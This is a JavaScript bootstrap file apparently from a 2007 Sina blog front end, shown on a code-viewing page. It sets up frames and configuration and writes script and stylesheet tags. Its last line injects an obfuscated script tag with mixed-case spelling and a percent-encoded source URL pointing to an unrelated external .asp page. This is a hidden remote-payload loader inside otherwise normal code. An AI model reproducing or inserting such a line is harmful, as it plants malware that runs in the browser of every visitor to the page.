📄 bootstrap.js
字号:
/**
* <b>boot strap functions</b>
* @version : 1.0
* @since : 2007-6-14
*
* @Description :
* startup working enviroment
*
* @author xp yanbo@staff.sina.com.cn | drdr.xp@gmail.com
* @copyright sina.com
*/
/**-------------------------/// Boot-strap \\\---------------------------
*
* 1. decide who is the top frame
* 2. preLoad configs
* 3. fix config data
* 4. supply some function for loading external resource
*
*--------------------------\\\ Boot-strap ///---------------------------*/
/**
*
*/
document.domain="blog.sina.com.cn";
if (window.scope == null){
try {
if (window.parent.scope != null) window.scope = window.parent.scope;
} catch (e) {
alert("---\n" + e);
}
try {
if (window.scope == null) window.scope = window;
} catch (e) {
alert(e);
}
}
/* fix $BASE */
if ($BASE.lastIndexOf("/") < $BASE.length-1) $BASE = $BASE + "/";
/**
* @author xp
* write script tag to document. Can be used only in page-loading phase.
* only script text or script url can be accepted. u cant specify none or two of them or an error will be raised
* @param o {
* id : id of the created tag,
* url : String,
* script : String
* }
*/
function dwScript(o){
o.id = o.id || "";
o.charset = o.charset || "utf-8";
if (o.script && o.script != ""){
document.write("<script id='" + o.id + "'>" + o.script + "<\/script>");
} else if (o.url && o.url != ""){
document.write("<script id='" + o.id + "' src='" + o.url + "' charset='" + o.charset + "'><\/script>");
} else throw new Error("no script content or url specified");
}
/**
* @author xp
* write link tag or style tag to document. Can be used only in page-loading phase.
* only script text or script url can be accepted. u cant specify none or two of them or an error will be raised
* @param o {
* id : id of the created tag,
* url : String,
* script : String
* }
*/
function dwCSS(o){
o.id = o.id || "";
if (o.url){
document.write('<link id="' + o.id + '" rel="stylesheet" type="text/css" href="' + o.url + '" />');
} else if (o.styles){
document.write('<style id="' + o.id + '" >'+o.styles+'<\/style>');
}
}
/**
* determine which page it is in
*/
function $getPageId(){
if (scope.location.href.indexOf("/s/blog_") > -1) return "article";
return "blog";
}
function fixConfig(){
if (window.scope.fixed) return;
window.scope.fixed = true;
function fix(o, name, value){
if (o[name] == null || o[name] == -1) o[name] = value;
}
var scp = window.scope;
scp.config = scp.config || {};
var cfg = scp.config;
fix(cfg, "theme", 1);
fix(cfg, "isRandom", false);
fix(cfg, "customTheme", {
calendar : 1,
music : 1,
photo : 1,
bannar : 1,
menu : 1,
box_1 : 1,
box_2 : 1,
bg : 1
});
fix(cfg, "resourceVersion", Math.random());
fix(cfg, "cssVer", 1);
fix(cfg, "jsVer", 1);
fix(cfg, "imgVer", 1);
fix(cfg, "isModified", false);
fix(cfg, "layout", null);
fix(cfg, "isCommentAllowed", true);
fix(cfg, "isMessageAllowed", true);
var lo = cfg.layout;
/* force article page config.layout */
if ($getPageId() == "article") {
lo = cfg.layout = {
column_1 : [
"blog_photo",
"blog_zone",
"blog_sort",
"blog_last_updated_blog"
],
column_2 : [
"blog_feeds"
]
}
} else if (lo && lo.column_1) {
lo.column_1.push("blog_counter", "blog_feeds_addr");
}
/* config doesnt output layout order */
/* fix the bug in theme 4 left-right hasnt been reversed */
if (cfg.theme == 4 && lo && lo.column_1 && lo.column_2){
var t;
t = lo.column_1; lo.column_1 = lo.column_2; lo.column_2 = t;
}
}
/**
* This method will not be called until config data hs been loaded.
* In-page script should invoke this method.
*
*/
function loadPreProcedure(){
fixConfig();
var cfg = window.scope.config;
var jsVer = cfg.resourceVersion + '_' + cfg.jsVer+".js";
dwScript({url:$BASE + 'js/preProcess.js?'+jsVer});
}
function loadCss(){
fixConfig();
var cfg = window.scope.config;
var cssVer = cfg.resourceVersion + '_' + cfg.cssVer+".css";
dwCSS({url:$BASE + 'css/default.template.css?'+cssVer}); /* write frame css */
dwCSS({url:$BASE + 'css/theme/'+ cfg.theme +'.css?'+cssVer}); /* write theme css */
var cus = cfg.customTheme;
var url_1 = "css.cached.4.0/" + cfg.theme + "_1/{$photo}/{$bannar}_{$menu}.css?"+cssVer;
var url_2 = "css.cached.4.0/" + cfg.theme + "_2/{$box_1}/{$box_2}_{$bg}.css?"+cssVer;
url_1 = url_1.replace(/\{\$(\w+)\}/g,function (a,s){return cus[s];});
url_2 = url_2.replace(/\{\$(\w+)\}/g,function (a,s){return cus[s];});
dwCSS({url:$BASE + url_1}); /* write custome css */
dwCSS({url:$BASE + url_2}); /* write custome css */
}
function loadResource(id){
id = id || $getPageId();
fixConfig();
var cfg = window.scope.config;
var jsVer = cfg.resourceVersion + '_' + cfg.jsVer+".js";
switch (id){
case "article" : dwScript({url : $BASE + 'js/article.js?' +jsVer}); break;
case "blog" : dwScript({url : $BASE + 'js/blog.js?' +jsVer}); break;
default : dwScript({url : $BASE + 'js/blog.js?'+jsVer});
}
}
//TODO correct the url
if (window == window.scope) dwScript({
url : "http://conf.blog.sina.com.cn/cnf?" + window.scope.uid + "&1&" + Math.random() + ".js",
charset : "gb2312"
});
window.scope.EI = 0;
document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -